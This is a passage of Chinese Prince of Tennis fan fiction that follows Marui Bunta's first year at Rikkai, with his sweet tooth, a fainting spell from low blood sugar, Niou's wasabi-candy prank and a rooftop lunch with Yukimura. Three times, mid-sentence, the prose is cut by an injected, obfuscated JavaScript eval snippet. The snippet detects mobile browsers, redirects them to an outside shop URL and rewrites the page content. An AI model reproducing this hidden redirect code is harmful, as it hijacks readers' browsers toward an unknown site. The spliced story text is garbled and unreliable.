丸井文太惊喜的欢呼声瞬间冲散了他摇摆不定的不安,虽然杰克想说自己只打算邀请他一起去店里没有说要请客,但实在不忍泼对方冷水,让文太的期待落空,便也很快把失去这周零用钱的不舍抛到脑后。 算了,这样也不错。 杰克流畅地呼出一口气,放松了紧绷得发痛的肩膀,重新迈出脚步准备离开。 “啊差点忘说了,也非常感谢你给冰糖葫芦摊投票!” 大概是没被料想自己能记住那张微不足道的选票吧,文太迎着杰克惊讶的回眸,笑得纯粹而狡黠。他快乐地眨了眨眼睛,将竖起V字的右手比在脸旁,摆出了个定格在对方瞳孔深处的帅气动作。 “你也别忙过头忘了吃啊,不用客气,尽情享受融入了我天才技巧的美味糖葫芦吧!” 5. File 04 糖分 自从丸井文太发现他家到杰克的家只有临街一条马路的距离,他就常在休息日邀请杰克一起出去玩。 “偶尔也想玩一玩不那么幼稚的游戏。”文太这样说。 杰克知道,这是因为文太刚出生的小弟弟和另一个年纪稍长些的弟弟,都跟不上他层出不穷的奇思妙想。当然,他也知道文太平时很疼爱他两个弟弟,只是文太自己同样正处于最贪玩的年纪,像是去游戏厅打街机这样的娱乐还是找同龄人一起最为有趣。 他们从一起上下学的同学变成了日常形影不离的朋友,小学毕业后一同考入立海,分入同一个班级,然后加入同一个社团。 丸井文太在网球上的天赋很快就显现出来,极度灵活的手腕让他能够轻而易举地打出种种变换巧妙的截击,杰克·桑原也凭借混血儿的卓越身体素质在队内比赛中表现出色,仅为一年级的二人很快就被选入正选后备的队伍,这若在往年,已算是新人中出类拔萃的成绩。 说是往年,因为这一年的网球部中出现了三位超乎寻常的高手—— “神之子”幸村精市,“皇帝”真田弦一郎,“Master”柳莲二。 他们的实力不仅远远超越了部内学长们的认知,也惊撼了整个日本。凭借摧枯拉朽般的压倒性实力横扫无数他校强豪,以一年级新人的身份带领队伍称霸全国,如此惊才绝艳的战绩可谓是前所未有,也难怪幸村带领立海捧起冠军奖杯的最后一战,会引来众多职业记者和专业人士的观看,更是谋杀了那些人的无数菲林。 漫天飞舞的彩带和部员们的欢呼声中,杰克听见文太将手心握紧栏杆发出的“喀拉”细响。 杰克微微偏过视线,看见那个无论做什么都很容易成功、总是漫不经心又游刃有余、任性而从容的家伙,像是一朝觉醒了什么他始终欠缺的东西,目不转睛地盯着幸村他们的方向,闪闪发光的紫眸深处燃起了火焰。 居然认真了啊,那我也只好奉陪到底。 这样想的杰克没注意到,自己心中同样跃跃欲试着无比兴奋的感情。 这一年的夏天极为炎热,高温仿佛能够扭曲空气,公园中葱茏古木的枝叶连天蔽日,在连绵的轻风间微微摇曳,满地都是金鱼般游动的树影。 网球,杰克,草莓冰淇淋,共同构成了丸井文太的夏日记忆。 九月的湘南依旧暑热未消,因此当秋季学期开学,返回校园的立海学生们依旧穿着短袖的夏季制服。午后蝉鸣不歇,令人昏昏欲睡的课堂上,数学公式逐渐在视野里变形成蚯蚓,简直是让人大脑停摆的最佳组合。 座位靠在窗边的丸井文太单手托腮,一边听着老师讲课,一边三心二意地舔着嘴里的柠檬糖,过不了一会儿,他把视线挪向窗户之外,在天光下色泽略浅的紫色瞳孔始终聚焦不清,显然是早已心不在课堂之中。 这时候,一阵气势磅礴的洪亮歌声把他从散漫的神游中扯了回来。 呃……校歌? 因为前两天才在音乐课上学过,丸井文太很快辨认出旋律。但和他们课上所有人融为一体声音不同,此刻传到班级里的歌声抑扬顿挫、音量高昂,带着好像将军出征般的凶猛气势一路拔高,偏偏还始终无法完美地踩准曲调,在学生们过于无精打采的炎热午后实在存在感过强。 这人……不觉得羞耻吗? 文太默默腹诽,在邻座的女孩偷笑出声音的时候,他忽然辨认出那音色属于熟人,暗地里微微黑线。 喂喂,怎么是真田啊—— 脑海中浮现出那位在网球部里总是冷面寡言的副部长,能被外校的人们尊称为“皇帝”,可见他的威严也和实力同样深入人心。 真让人意外,原来场外的本尊其实相当热血。 这桩插曲并未随着下课铃声的响起而在他脑海里烟消云散,但为了抢到学校福利社每日限量发售的冰淇淋,文太还是放弃了找杰克聊天的打算,眼看着老师走出教室,他也赶紧提包冲出教室,背影风风火火地消失在同学面前。 “哇,今天丸井的动作也很快。” “又是去买甜品吗?他还真是喜欢啊……” “真羡慕文太君想吃就吃,既不会变胖也不会皮肤变差呢。那些过量的糖分都去哪里了?” “打网球消耗掉了吧,听说他们部的训练超魔鬼的。” 是这样吗,杰克?闲聊的人们把话题转到班里另一名同学身上,注意到杰克也同样已经收拾好了课本,拎起网球包从座位上站起来。 “那家伙打网球以前就是这样了。”杰克耸肩,带着习以为常的语气如是说,随即不意外地听见班里女生们发出诧异又羡慕的声音。 这应该也算是一种天赋吧?杰克回想起来,文太的弟弟们虽然也跟哥哥一样爱吃甜食,却似乎并没有继承同样旺盛的食欲,当然,这也可能是小朋友们年纪还太小的缘故。 反正文太总是吃得很开心,就随他去吧。 这时候的杰克并未对此思考太多,只是一如平常地怀着放任的感情对待发小的好食欲。 但也有人觉得不能对此置之不理。 “丸井,你这样太松懈了。” 走到部室门口的丸井文太不幸被同时到来的真田弦一郎撞了个正着,真田瞥见他手中只剩了个底的冰淇淋盒子,眉头不禁皱了起来。 训练之前吃甜食像个什么样子? 文太同样看见对方,一眼便扫见对方准备说教的表情,心中当即暗道不妙,好在他天生反应能力过人,脸上反射性地带起一个热络友好的笑容:“哟,真田,今天你们班的最后一节课是音乐?” 真田没想到他挑起一个自己意想不到的话题,愣了片刻才道:“啊……是这样没错,但你问这个做什……” “啊啊——果然!”文太装作不经意打断他质疑的话语,同时一翻手把空了的冰淇淋盒子精准丢进垃圾桶,然后背过手,慢慢踱步走近满脸不明所以的真田。 他鼓起脸颊,故意用略带不满的表情抱怨说:“你唱得太高调了,这下我们班的女生都在讨论真田你的歌声很特别啊。你呢,一定是故意想出风头的吧?太狡猾了!” 真田弦一郎面对他演技逼真的指责不疑有他。 “原来如此,原来我还引起别班女生的议论了啊……”他自以为并不明显地声音飘高了一些,面对丸井文太目不转睛的注视,整个人似乎对自己的引人注目颇不好意思,不过对方很快镇定下来,干咳一声沉稳下声线,“你冷静点,丸井,我并非有意受人关注。常言道「人间青山」,所谓真正优秀的人如同青山,无需刻意去彰显,无论身处何地终会被发现其价值……” 被老气横秋地拽了一通文,丸井文太嘴角抽搐地目送真田愉悦离去。 “该说这人是好应付还是不好应付呢……”他嘀咕,倒是比自己想象中的好说话,看样子还挺有机可乘的。 “是很有趣吧。” 被忽然接话的文太吓了一跳,他心虚转头,看见了肩披一件队服外套的部长幸村精市站在距离自己不远处。 对方不知道悄无声息地看了多久好戏,眼神玩味,唇边带着一抹兴致盎然的笑容。 “别看弦一郎平时很严肃的样子,那只是个有点笨拙的保护色,其实他很好玩的。” 很好玩…… 幸村精市这说法听得丸井文太额角微汗,他一时间好像心领神会地听懂了什么,但把这真相揭破了实在不太礼貌,于是只好装作很忙地把一颗口香糖丢进嘴里,吹了个特别大的泡泡挡住自己古怪的表情。 鉴于这番险些被抓包的经历,后来丸井文太在训练间隙走到场边休息时,下意识地瞄了一眼附近正在检查球拍拍线的真田弦一郎。 今天就算了吧。他收回了险些要伸向零食的手,心道忍耐一会儿也没什么大不了的,转身去拿水瓶喝了两口,随意用毛巾擦拭了颈侧的汗水,便携着球拍重新回场上继续练习去了。 自丸井文太打败原正选的学长以后,他的训练清单就发生了很大的变化,与其他校队正选的对打频率直线上升,针对他薄弱处的力量强化训练也增加了一倍不止,俨然已是将他作为来年的新主力来培养。 根据柳的安排,近来与丸井文太交手次数最多的人就是副部长真田弦一郎。 据说对方自小训练剑道,其腕力是网球部数一数二的强横,唯有部长幸村能与其匹敌。 无论心中如何作想,当丸井文太踏上球场时,眼中只剩下冷静和专注,咬着泡泡伏低身体,右手握拍,左手扶住拍框,视线一瞬不瞬地盯着球网对面的真田。 进入状态的速度很快。真田在心中点头。拿起球拍的他又变成了文太所熟悉的“皇帝”,黑色鸭舌帽投下的阴影藏住了他漆黑的眼睛,冷酷的表情中透出摄人的威慑力。 不能在比赛中被人从面上看穿深浅,这是立海选手的基础素养。正如幸村始终云淡风轻的微笑,真田不动如山的冷面,柳如明镜止水般的闭目,哪怕是场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685854|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外孩子气十足的丸井文太,上场后也会收敛起多余情绪,展现出游刃有余的扑克脸,用让人看不清深浅的笑容迷惑对手。 “集中注意,调整呼吸,我会逐步增强发球威力。” 真田提醒说,见文太颔首示意他已做好准备,便扬手高高抛起网球,挥臂击出,使其如离弦之箭般飞坠对方场地。 好,我接得到! 丸井文太瞄准落点,赶在来球触地的一瞬间降低球拍,使网球只反弹到他足边高度便正中拍心,出手就是他另一个拿手绝技——Rising Shot(凌空抽球)! 然而这球中灌注了真田远超常人的强横腕力,尽管被文太使用正手接住,当中的力道却无法被轻易化解,手腕不由自主地微微震颤,他只觉这球如同怪物一般往球拍里钻,绒面的网球与弯曲变形的拍线急剧摩擦,让近在咫尺的自己几乎听见仿佛金铁刮削般的刺耳声音。 可恶,哪有把到手的球白白放过的道理—— 丸井文太不认输地心想。 他暗暗咬紧牙关,腰腹发力,带动肩膀和大臂,整个人轻轻飞跃起来,衣摆飘扬,趁着提气瞬间,自下而上挥拍回击! 尽管由于腕力的缺陷,丸井文太的回球不如网前截击时利落和来势汹汹,却打得又低又深,直冲底线,显然还是瞄准得分。 真田原以为文太会通过调整拍面角度打出吊高球实现卸力,然后自己就可以通过一个干脆利落的扣杀实现得分,想来对方也已经机敏地预判到这点,才着意避免回球质量太低,进而一着不慎功败垂成。 话虽如此,光是想得到和能做得到,二者还是意义不同。 他轻轻道了声“还不错”,退回后场,挥臂抽球。 这一记迫使真田后撤防御的回球为他赢得了重整攻势的时间。真田回望,果见丸井文太趁此机会已积极闪至网前,那双始终冷静的双眸深处滑过一丝灵动笑意,红发因他迅疾的动作微微飞扬,对方扬手横拍,正是丸井文太所最擅长的网前截击。 随后似乎是一转眼,又似乎经过极漫长一段时间。直到一阵稍冷的晚风吹透了被汗水彻底浸湿的队服,丸井文太才留意到今日的部活时间已经结束。 他轻轻地喘着气,抬手把黏在额头的湿润发丝撩开,视野放远,火红的夕色涂抹于蓝紫交织的天穹,一同绘就独属于晚熟黄昏的风物万千。傍晚时分的校园比白天要清静许多,少了学生们的谈笑与玩闹,取而代之的是微风吹拂树梢的声音,乌鸦振翅飞过天际的声音,网球击中球拍的声音。 在立海网球部,部员的主动加训早已屡见不鲜,特别在正选队员之中更是家常便饭般的日常。 当日值班负责整理球场的部员已经在部活结束时就离开了,仅剩的球场只有加训的人自行负责,真田弦一郎垂下球拍,看见丸井文太呼吸紊乱的模样,淡淡说:“我自己再练习一会儿,球场也由我来整理。丸井,你去部室帮我拿个捡球器过来就回去吧。” “OK。” 文太体力透支得厉害,闻言只顾得上潦草地点了点头,拎着自己的球拍和水瓶等物品就离开球场。 因为要帮家里做事,杰克有时会先文太一步回家,今天也是如此。 好饿啊…… 文太拖着沉重的步伐走向部室,略带恍惚地思索着自己是要先回家还是去杂志上新发现的甜品店看一眼。 因为太累,主观上他更倾向选择前者,不过甜食也能让他回复力气,自己白天的时候一直期待能品尝,再等一天实在太煎熬啊。 身体摇摇晃晃着推开部室的大门,文太迈进的一瞬间脚步踉跄了一下,眼前顿时涌出一阵晕黑,在视野中迅疾泛滥。 哎呀,这可不妙。 他心道不好,顾不上去拿真田需要的捡球器,也顾不上跟部室里正在换衣服的其他同学招呼,方向一转就朝自己的柜子走去,从里面随便掏出一个食物撕开包装立即往嘴里塞—— “puri?” 刚将运动服换成制服准备离开的仁王雅治动作一顿,就见一进门有如饿死鬼投胎般直奔零食的丸井文太才咬了一口铜锣烧便两眼一闭摔在地上,其动静之大,将对方柜子里一堆零零碎碎的糖果和杂志纸片等小物都掀飞得到处都是。 他一时还无法想象会有人拥有累晕前拼死也要吃一口的执着,迟疑片刻才缓慢接近对方。 这是……被下毒了吗? 仁王蹲下来,伸手戳了戳此人的脸颊。 6. File 05 欺诈 丸井文太并没有失去意识太久。 他睁开眼睛,就看见了医务室纯白色的帘子和墙壁,刺鼻的消毒水的味道让他从懵懂中逐渐清醒。 “你醒了。感觉怎么样?” 守在旁边的人很快察觉到他醒了,把手中的读本合起放好,然后在文太坐起身之后给他递来一杯水。 丸井文太垂目看去,只觉眼前的手指相较常人更为修长,指甲修剪得干净整齐,轻轻搭在纸杯边缘的样子十分雅致,给人一种彬彬有礼的优雅印象。 问题在于,他不认识这个人。 丸井文太接过杯子,面带迷惑地道了声谢。 应该……是同级生吧?在他眼前的同学穿着整齐的立海制服,哪怕已处在放学时分,对方的条纹领带依旧规规矩矩地系在领口最上方,举手投足仪态端正,腰背舒展而挺拔,就像受过专门的礼仪训练,凭借无可挑剔的修养让人心生好感。 嗯,就像是绅士一样。 在暗自作出判断的同时,丸井文太仰头一口气喝了半杯水。尝到甜味柔和地拂过舌头,他不由得一怔,意外地发现里面竟然加了葡萄糖。 想不到我还需要这个。他微不可察地一哂。 “初次见面,丸井君。我是柳生比吕士。”柳生仿佛知晓他心中层出不穷的疑惑,扶了一下鼻梁上的细框眼镜,微笑着解释道,“我和你们网球部的仁王雅治君是同班同学,刚才我从图书馆出来,正好在路上看到仁王君扶着你去医务室,所以来帮了把手。” 顺着他的话头,柳生将他身边半围起来的帘子拉开,丸井文太便看见了靠坐在窗台上方的仁王。 这个人啊。文太不太明显地惊讶了下。 老实说,他对部里的这个同级生印象很特别。大概是因为仁王雅治是属于连善于交际的丸井文太都难以把握距离感的人——独来独往,始终奉行着让人看不清虚实的神秘主义,连在球场上也是如此,他分明能从直觉上认定此人应该是个性极为鲜明的攻击手,偏偏又无法摸透对方的球风。 变幻莫测,总是让人出其不意,这就是仁王雅治。 此时的仁王随意地支起单腿,手臂搭在膝上,在外面渐暗天色的映衬下,银白发梢仿佛流淌着月色。 “给你们添麻烦了。这次谢谢啦!” 丸井文太将剩下的半杯水一饮而尽,随即掀开被子下床。他扭了扭脖子,活动了一下逐渐恢复力气的手脚。 “不好意思吓到你们。我啊,从小就被医生说血糖消耗的速度就比大多人快,能量见底后不及时补充糖分的话比较容易低血糖。” 他一边说一边歪过头来眨了眨眼睛。 “不过不用担心,我这是天生的体质,不影响健康。” 凭他这十足轻松的语气,显然本人对此也不以为意。毕竟连稍微听说过丸井文太的人都知道此人是个彻头彻尾的甜食主义者。 所以说低血糖啊,就算是个比较常见的问题,也压根让人想象不到这个词汇居然能和丸井文太联系到一起,反而是他没得高血糖已经算幸运了。 仁王想着,忽然调侃:“所以你那一天到晚都可以改名成丸井猪的吃法是为了防止自己晕倒?” 猪,读作豚(ぶた),其发音Buta与文太这个名字发音的Bunta非常相近。仁王这玩笑可谓是相当促狭了。 “谁是猪啊!”丸井文太当即抗议,但他倒也没认真生气,只是有点不满地纠正说,“我对甜食一直是真心实意地喜欢!每次都是怀着享受美味的认真心情去吃的!” 仁王别过头,轻轻笑了一声。 这个人的气质很随性,做什么表情都带着玩世不恭的慵懒气息,他看人时似乎总有微微低垂着眼的习惯,可见眼皮极薄,长睫下方的瞳仁是清透的浅绿色,好看是很好看,就是也透出一种薄情的淡然味道。 就像现在,尽管仁王雅治对丸井文太的辩解没有评价,在场二人却都能从空气中读出嘲笑。 “总之,丸井君平安无事就比什么都好。”柳生温和地打圆场道,“我一开始真的吓一跳,听仁王君说你好像是毫无预兆地倒下了?正好我最近在读阿加莎的小说,第一时间还以为自己也遇上了什么罕见的案件,真是心如擂鼓呢,所幸只是虚惊一场。” 丸井文太闻言,微弱地干笑了声。 为什么他隐约从这个人的话语中听出几分遗憾的味道? 错觉吧,明明是绅士的说。 仁王雅治侧目,正好将丸井文太那微妙怀疑的表情尽收眼底。 看来很敏锐嘛。他玩味地勾起嘴角,连带着唇边的小痣也随之微微上扬。 “piyo。” 文太闻声扭头,正好看见仁王将一颗金平糖丢进口中。 “啊——”他大叫,“那是我的糖果!” 定睛一看,居然只剩一颗了,被对方抛上抛下地落在手心把玩。 文太顿时有些惋惜,这是同班的女生家里做了带来送给他的,本来自己还准备留几颗回家分给弟弟们吃来着。 现在既然被帮了自己一次的仁王吃了……他“唔”了一声,挠了挠脑后的头发,决定大方地放弃索要,正准备如此下定决心来着,却听见对方若无其事说:“喏,那这个还给你。” “咦,真的?!” 文太睁圆眼睛,脸上很快变为窃喜。哎呀这一颗糖送给两个弟弟可不够分,那只好他作为哥哥勉为其难为了避免第三次世界大战而献身—— 表情真好懂。 仁王雅治心想。 真有趣,明明警觉性很高,唯独在面对食物时,防备心却变得很低。 他笑着说了声“当然”,便见丸井文太眸光熠熠地回望过来,站在稍后位置的柳生无声地扶了一下眼镜,仁王眼中笑意更盛,手指剥开玻璃糖纸,还不待文太反应过来就将这最后一颗糖抵着对方微张的唇送入他的口中。 丸井文太一愣。 旋即,他整张脸变得通红一片。 不要误会,这并不是因为害羞而使他面带红晕,而是从舌尖蔓延到整个口腔的刺激辛辣让他一时无法呼吸,生理性的泪水直冲眼眶。 他生生被那极具冲击性的味道呛了有两三秒,才慢半拍地从火烧火燎的喉咙深处挤出声音:“可恶——怎么回事?这怎么是芥末味的啊?!” “pupina。”仁王雅治当即假装无辜。 而柳生比吕士已经双手抱臂站在一旁看足了好戏,当下才适时清了清嗓子,用不赞成的声调说:“仁王君,不可以对丸井君恶作剧哦!” 那两个人,真是不容小觑啊。 隔日丸井文太回想起他与仁王和柳生相遇的细节,不由心有戚戚地感叹。 他们一人有着能让人放下戒备的翩翩风度,一人则掌握了变化无常的狡猾心计。这样的两个人凑在一起,恐怕心地单纯的人被卖了还要帮他们数钱,堪称最可怕的恶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685855|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作剧组合。 “文太君,你觉得昨天的金平糖口味如何?” 当他趴在桌子上默默反省的时候,班里的女同学走过来询问,因为那是她跟开店的父母学习后做出来的手制糖果,还是很在意评价的。 “我觉得很好吃哦。”丸井文太坐直身体,笑着回答,“不过——” “欸——不过?” 他的一句转折让女同学的心提了起来,担心着自己哪里做得不足,她惴惴不安地把视线下移,落在红发男孩看起来忽然有几分沮丧的脸庞上。 “那个……能再分给我几个吗?” “咦?” “昨天啊,我的糖果被部里的同学吃掉了好多。”文太带着微微抱怨的语气解释,他抬起眼睫,眸光清亮得犹如天真澄澈的星,用软软的恳求语气说,“我还想再要一点,好不好?” “当、当当当然可以!我明天就带来!!”对方立即道。 又来了,文太无往不利的撒娇。坐在靠后位置的杰克·桑原单手撑着脸心想。他习以为常地看着女同学脸颊微红、同手同脚地回到座位,又把视线挪回兴高采烈着露出期待笑脸的丸井文太,少年老成地叹了口气,第无数次心道,真是个无自觉的人生赢家。 虽然杰克自己也不介意为文太的快乐添砖加瓦啦。 早上最后一节课是丸井文太最苦手的数学,虽说不至于到成绩濒危的地步,但他实在不喜欢数学这种需要耗费太多心力的科目,好不容易挨到下课铃响,他当即如释重负地松了口气,有些蔫蔫地走出教室。 午间休息时间,学生们通常在校内解决午饭,其中有自带饭菜的便当派,也有餐厅就餐的堂食派。位于1号教学楼隔壁的海风馆一层有为学生和教职工开设的自助餐厅,还有教学楼内的福利社出售面包和零食。丸井文太平时习惯在教室吃便当,偶尔也会去福利社买些点心,但他今天实在需要新鲜空气清醒一下混沌的大脑,便一个人提着便当溜上天台。 一开大门,迎面便是秋日柔和的风,携着清新而湿润的林木花香。 “呼——果然楼上的空气就是舒服。” 文太惬意地伸了个懒腰,随意地左顾右盼,准备找个地方解决午饭。 因为楼顶的空间极大,不知是从哪一年开始,校方采纳了学生会的提议,将国中部所在的1号楼天台上方改造为屋顶庭园,并栽种了许多观赏性的花卉绿植,由老师和学生一同维护。如今,这里春有雏菊、夏有紫薇、秋有牵牛、冬有茶梅,寒来暑往百花争妍,俨然已成为立海师生引以为豪的校内一景。 午休时间,屋顶庭园零零散散有些学生坐在长凳吃饭聊天或休息,丸井文太绕开有人的地方,寻觅到一处无人的凉亭。 就这里吧。 他放下球包,从中拿出便当,正揭开盖子准备吃,忽然眼尖地在不远处瞧见熟悉的人。 清俊修长的身影侧立于枝叶掩映之间,穿过叶隙的天光照亮那张白皙端丽的容颜,将色泽华美的蓝紫瞳仁映出半透明的、如宝石般透彻的光泽,目光清静,美出一种让人可望而不可即的疏远气质。 “咦?这不是幸村君么?” “嗯?” 听见自己名字的幸村精市转过头,看见丸井文太兴致勃勃地将半边身体撑在凉亭的栏杆上,眼眸里泛着清亮甜美的笑意,正开心地跟他招手。 “好巧啊,没想到会在这里跟幸村君偶遇。要一起吃午饭吗?” 7. File 06 任性 “下次有机会吧。”幸村精市看向丸井文太,看起来有些为难地笑了笑,礼貌地解释,“我已经吃过了。” 幸村是堂食派,早前已经在海风馆吃过西餐。 话虽如此,实在少有人在面对丸井文太亲切又热情的邀请时,能直截了当地说出拒绝的话语,他说完这句话后也没有径自离开。 幸村一直觉得网球部里这位总是带着活泼、生动模样的同级生是与自己的发小真田截然不同方面的有趣,网球打得也很巧妙,加上思维灵活善于随机应变,天赋比现在部里许多学长们要强得多。 就是过于贪吃,连在比赛中都要吃口香糖的习惯,也显得有些随心所欲。 重视纪律的真田弦一郎对此颇有微词,不过幸村精市认为,只要不耽误得分取胜就没有关系。 他想得到的,是能让立海更进一步的队员。 丸井文太纵然任性,却也有支撑他这般任性的底气。 此刻有着任性底气的丸井同学吹了一个很圆的口香糖泡泡,在幸村望向他时,注意到对方有一瞬间微微放低眼睫,用着一种似有若无的观察眼神瞧向自己。 那只有极短暂的一瞬,却好像足以让他做出判断,下一秒幸村就听见文太拖长了声音:“那也可以稍微来坐一会儿聊天嘛,我一个人待着也很无聊。”恳求的语气里掺着亲昵的期盼,小心谨慎又胆大主动地试探着幸村的心意。 丸井文太其实早就猜到幸村精市只是来庭院午休,凭他的细心,一眼就注意到对方手中空无一物,应该是刚好正观赏附近的植物才在小道上驻足的吧。 但有时候不必总是替别人考虑得太多,尤其在他特别期待能与幸村君相处的此刻。倘若因为太多顾虑而错失这次搭话聊天的时机,下次也很难不被类似的困难绊住脚步。他可是积极进取的机会主义者,宁可被拒绝也不会平白放过任何一次机会。 更何况,他也不觉得性情温和的幸村君会坚决地一再回绝自己。 果不其然,幸村精市随后只是稍微犹豫了一下,就向丸井文太所在的凉亭走去。文太当即开心地把自己的曲奇与他分享,幸村笑着道谢后拿了一块,视线扫过他的便当时忽然目露讶色:“好精致啊,是你的妈妈准备的吗?” 他的目光停留于丸井文太放在膝上的便当,浅红色的盒子里不仅整整齐齐地码着诸如照烧肉松饭团、黄金炸薯球、烤蔬菜和蜂蜜炸鸡等色香味俱全的菜品,还别具匠心地用切好的秋葵、胡萝卜和蓝莓等蔬果在上面摆成好看的小花装饰,毫不夸张地说,这简直是能被收录到美食杂志上的优秀作品。 “不是哦。”对方看向他俏皮地眨了眨眼睛,将拿着筷子的手伸出一根拇指比向自己,“是我自己做的。曲奇也是我烤的。” “欸?” 丸井文太被幸村精市脸上难能一见的不可思议表情逗笑,乐不可支地说:“我妈妈不怎么会做饭啦。” 或许,用“不怎么会”都无法形容那种能把任何食材都做成焦炭的能力?他默默地抬起脸回想,忽然一阵汗颜。 从小到大,文太的妈妈都不擅长料理,爸爸的水平也只能说中规中矩。丸井文太一直认为他最初对美食的追求源于自身体质和生存环境的共同作用,是求生欲在发挥作用的本能体现。 至于他精妙绝伦的料理天赋,全家人,包括丸井文太的两个小弟弟,都一致认可文太是绝对的天才,主要是强调这份才能与家族遗传毫无关系。 “那真是很了不起……”幸村精市笑说。 他回忆起自己曾在野餐时不慎弄炸了铝制饭盒的光荣事迹,其实就发生在距离现在还不远的暑假,学校组织一年生去野外远足的林间学舍活动期间……越想越是不堪回首。 说起来,当时他听说有个班的学生厨艺惊人,独立完成了满满一锅的土豆牛肉煲,气味香飘十里,还引来了山上的野猴子试图争抢。 似乎后来是真田带领几个同学成功驱赶了那些捣乱的猴子,作为谢礼得到的牛肉煲也被分给了幸村一份。 他说起这件轶事,丸井文太听了噗哧一笑:“对对,那个就是我做的。”然后又补充了一个细节,“那天真田的帽子还不小心被其中一只猴子抢走,当时他的脸色一下就变了,动摇得就像是天塌了一样,不顾天黑都要追到深山去。但是山林深处黑黝黝的,一看都好危险啊,我就把一块烤好的汉堡肉递给真田,让他丢向猴群。那只猴子为了抢肉,就把帽子松开了。” 真是千钧一发啊,丸井文太感叹道。他用绘声绘色的语调描述着真田弦一郎大战野猴子的种种细节,幸村精市未曾想到发小帮忙过程中还发生那么多妙趣横生的插曲,也听得兴趣盎然。 等他笑够了,才向文太解释说:“弦一郎的帽子因为是他爷爷送给他的,所以他很珍惜哦。” “原来如此。” 丸井文太一边发出“嗯嗯”的声音,一边三两下把便当解决。 他的吃相很有教养,说笑和吞咽绝不会同时进行。虽然是有了名的贪嘴,丸井文太却既不像很多男生饿极了时如恶犬扑食般的凶猛邋遢,也不是过于恪守礼仪、十分细嚼慢咽的类型,而是吃得非常利落又干净,让人看了也很有食欲的吃法,漂亮眉目间总是满满洋溢着极富感染力的快乐。 幸村还注意到文太总是趁自己说话的时候安静咀嚼,用灵动多变的眼神示意自己正在倾听,等他咽下食物,就会恰到好处地插入自己的见解,让话题得以轻松流畅地进行下去。 这个人的个性正如他的球风一般,狡黠而主动。 他仿佛天生就擅长捕捉别人的情感触角,能够自然而然地营造出令人舒适的相处氛围,也能够轻而易举地得到旁人的好感。 “吃得好饱啊……哇,都这个时间了!我要先走啦,幸村君拜拜。” 说笑的时间总是流逝极快,丸井文太收好东西便跟幸村精市告别。他有饭后消食的习惯,午休时间总是会去部里打球,先前还跟人约好了来着。 “嗯,下午见。” 幸村笑着向他摆了摆手,过了一会儿,他走到天台边缘,隔着铁丝网向网球部的方向眺望,果然看见换了一身运动服的红发身影扛着球拍走进球场,旁边的学长过去拍着他的肩膀似乎说笑了一阵,随后二人便开始了对练。 相较于上个学期,丸井的进步可圈可点。 幸村看了看,又想到他打球前需要吃甜食补充体力,吃了甜食又要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685856|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 靠打球消耗多余的热量,简直是为了吃甜食努力得实现永动,不由感到好笑地摇了摇头。 午间打球热虽热,好在立海校园毗邻海岸,时不时地有海风吹来驱散暑热。 晴日当空,明澈的天空中缓慢漂浮着或散或聚的高云,由于微风不断,光线总在浮云蔽日的时候变上一变,令地上的球场也间歇明一层暗一层地变化不休。 与丸井文太对练的学长伏低身体盯准球网对面,或许只是一瞬间因风吹影动的分神,疾速飞来的来球便精准砸进他身后一些的场区。非常漂亮的发球Ace,他有些惊讶地转头看了眼网球,又将目光移回吹起泡泡的丸井文太身上,只见对方压低眉头,面露游刃有余的微笑,眸光专注地盯着自己。 唯有在球场上,这个一贯爱笑爱闹的一年生才会展现出极度冷静沉稳的机会主义者面貌。 真是让人一刻都不敢松懈啊。学长重新摆好架势,这一回在毫不大意地警戒下他就没有错过丸井文太的发球,反手一个挑高球瞄准后场,果见准备进攻的丸井文太被迫撤回底线。 好,只要你不能上网就是我占尽优势。 正当学长如此认为的时候,咬着泡泡在场中奔跑的文太忽地笑了一声,冷不防将脚边弹起的网球抽出一个极大的回旋角度。 这一球在半空甩出椭圆形的半弧后以很深的角度斜线滑飞,精准落在学长此刻跑动方向相反的场区内,正是趁对手与他底线相持并左右跑动的时候用快节奏的抽球把对手的反应时间压缩到极致,干净利落地再得一分。 学长垂下球拍,侧过头看向丸井文太。 别的姑且不提,单论这手凌空抽球和网前截击的技术,不仅在立海,恐怕是放眼全国都称得上出类拔萃的水平。 “对了丸井,”他想起什么,“下周应该有新人战吧?就是全国一年级新人都可以报名的那个。你和杰克都去吗?” 对外面学校的新生来说,入学第一学期通常只能观摩和支援校队的高年级学生进行比赛,而到秋季的第二学期,基本上所有学校就都会允许一年级生参与正式的网球训练,其中较有天赋的新人将为来年加入校队出战而提前开始准备。 这位学长话中提到的新人战正是新生这阶段第一个小试牛刀的舞台,只要是国一的选手都能够报名参与,在与同龄人的对战中测试自己的水平。 “哦,那个啊,去是会去啦……”毕竟都通过预选了。 